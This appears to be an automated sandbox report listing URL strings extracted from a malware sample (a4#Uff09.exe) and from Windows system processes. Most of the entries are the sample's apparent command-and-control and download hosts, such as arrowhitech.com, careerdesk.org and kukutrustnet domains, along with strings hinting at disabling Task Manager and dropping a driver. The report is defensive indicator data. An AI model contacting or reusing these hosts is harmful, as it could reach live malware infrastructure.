                Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?20429f27=1117403014
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?4332b898=429245632
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?4332b898=429245632=1
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?533331=32715558
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?533331=32715558p=X%
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?6d8de4fc=-1237871632
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?857b0560=-1319948192
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?8672ff8f=649198938
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?8672ff8f=649198938U0
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?c7498b50=1440522736
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?c7498b50=1440522736-
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?c7498b50=1440522736ages/xs2.jpg?1N
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?d1e2a6=82530276f:
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?d5b4acf9=-672089393
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?d5ec3d20=59338432I1
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?d5ec3d20=59338432r
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?e966c20e=-1137424854
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?e966c20e=-1137424854e
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?f17dfb59=-243401895
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?f6befa40=-1242050048
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?f6befa40=-1242050048U
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?fd7c5cac=-253088760
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?fd7c5cac=-253088760u
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://kukutrustnet777.info/home.gif
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://kukutrustnet777888.info/
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://kukutrustnet777888.info/DisableTaskMgrSoftware
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://kukutrustnet888.info/home.gif
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://kukutrustnet987.info/home.gif
                Source: StartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ns.a.0
                Source: StartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ns.adobe.c.0
                Source: StartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ns.adobe.hoL2
                Source: StartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ns.adora
                Source: StartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ns.ph
                Source: svchost.exe, 0000000D.00000000.1340089578.000001D959FEC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3079413409.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1363187859.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3905756084.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3079077818.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
                Source: SearchApp.exe, 0000001C.00000000.1469212074.000001F49A7D8000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1493216454.000001F49BD00000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0:
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
                Source: SearchApp.exe, 0000001C.00000000.1466332699.000001EC9A5C0000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1493216454.000001F49BD00000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.msocsp.com0
                Source: dwm.exe, 00000008.00000000.1282999485.00000262ED790000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://osoft.co_2010-06X
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://pan.baidu.com/s/1qWKD5ve
                Source: SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.live.com/Web/
                Source: explorer.exe, 00000010.00000000.1365193048.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000002.4015681668.0000000008810000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000000.1366496914.0000000008820000.00000002.00000001.00040000.00000000.sdmp, RuntimeBroker.exe, 0000001A.00000000.1423268171.00000269817E0000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://schemas.micro
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://whois.pconline.com.cn/ipJson.jsp
                Source: explorer.exe, 00000010.00000003.3074572182.000000000C450000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2274022197.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2275143577.000000000C44D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1376298824.000000000C3F7000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.autoitscript.com/autoit3/J
                Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?11838a2=36729156
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?11ea3939=-1589902591
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?11ea3939=-1589902591;i
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?1a12e219=1749780580
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?221ae27=321855327
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?2ed8448=294721968
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?3bf8e4d=62885453
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?45a3fb7=730234150
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?47379df=373383515ld
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?4ad8f3=24526015
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?4f9cfd4b=-287901727
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?4f9cfd4b=-287901727L
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?6340f643=-263925937
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?6340f643=-263925937x
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?6d72debd=1805055464
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?71f7cbe=478016248
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?72476109=-460406254
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?72476109=-460406254L
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?72476109=-460406254l
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?96b3ddc7=-243051293
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?98336238=812041328
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?f93bde4c=-681101880
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071B2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.foreca.com
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.klkjwre9fqwieluoi.info/
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.klkjwre9fqwieluoi.info/amsint32.sysGetSystemDirectoryAdrivers
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://www.youku.com/playlist_show/id_25824322.html
                Source: svchost.exe, 0000000C.00000000.1330856720.0000018CE7268000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://%s.dnet.xboxlive.com
                Source: svchost.exe, 0000000C.00000000.1330856720.0000018CE7268000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://%s.xboxlive.com
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://User-Agent:Mozilla/4.0
                Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com
                Source: explorer.exe, 00000010.00000002.4098690958.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
                Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.comt
                Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
                Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1458791418.000001EC9969A000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
                Source: SearchApp.exe, 0000001C.00000000.1464311196.000001EC9A36A000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1458791418.000001EC9969A000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://aefd.nelreports.net/api/report?cat=wsb
                Source: explorer.exe, 00000010.00000003.3076107312.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277407283.000000000913F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS
                Source: explorer.exe, 00000010.00000003.3076107312.0000000008F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/
                Source: explorer.exe, 00000010.00000002.4098690958.0000000008DB0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
                Source: explorer.exe, 00000010.00000000.1368434403.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
                Source: explorer.exe, 00000010.00000000.1363187859.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.0000000007276000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?t
                Source: explorer.exe, 00000010.00000003.3076107312.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1448603370.000001EC93096000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.com
                Source: svchost.exe, 0000000C.00000000.1330856720.0000018CE7268000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.actiP
                Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.activity.windows.com
                Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.activity.windows.com/v1/assets
                Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
                Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.activity.windows.comLimit
                Source: explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
                Source: explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
                Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://bn2-df.notify.windows.com/v2/register/xplatform/device
                Source: svchost.exe, 0000000D.00000000.1339309323.000001D959F14000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.onenote.net/livetile/?Language=en-GB
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
                Source: explorer.exe, 00000010.00000000.1376298824.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://excel.office.com
                Source: StartMenuExperienceHost.exe, 00000019.00000000.1401199744.000001A446400000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://excel.office.comp
                Source: SearchApp.exe, 0000001C.00000000.1500517177.000001F49D850000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fb.me/react-polyfills
                Source: SearchApp.exe, 0000001C.00000000.1486131362.000001F49B440000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://gcchigh.loki.office365.us/api
                Source: SearchApp.exe, 0000001C.00000000.1533110422.000001F4AE269000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://gcchigh.loki.office365.us/api/v1/configuration/cortana
                Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://global.notify.windows.com/v2/register/xplatform/device
                Source: SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://graph.windows.net/
                Source: SearchApp.exe, 0000001C.00000000.1557856758.000001F4AEA4A000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://graph.windows.net/https://substrate.office.comhttps://outlook.office.com/pZ
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1c9Jin.img
                Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
                Source: SearchApp.exe, 0000001C.00000000.1488207530.000001F49B6D7000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
                Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1488207530.000001F49B6D7000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/
                Source: svchost.exe, 0000000C.00000000.1330888653.0000018CE728E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.windows.local/
                Source: svchost.exe, 0000000C.00000000.1330888653.0000018CE728E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.windows.localicy
                Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1496640545.000001F49D27C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.windows.net
                Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1496640545.000001F49D27C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.windows.net/
                Source: SearchApp.exe, 0000001C.00000000.1533110422.000001F4AE269000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/cortana
                Source: SearchApp.exe, 0000001C.00000000.1486175230.000001F49B460000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://loki.delve.office.com/api33366b5b-54ef-48bf-819d-677748eae9e33B199897-A63E-44DC-BF20-DF6F6F2
                Source: SearchApp.exe, 0000001C.00000000.1513168056.000001F49DA00000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://mths.be/fromcodepoint
                Source: explorer.exe, 00000010.00000000.1376298824.000000000C091000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000019.00000000.1401343738.000001A4464C8000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.com
                Source: SearchApp.exe, 0000001C.00000000.1558051041.000001F4AEA67000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.live.com/owahttps://outlook.office.com/owaCodexChatButtonUpperRight
                Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.office.com/
                Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.office.com/M365.Access
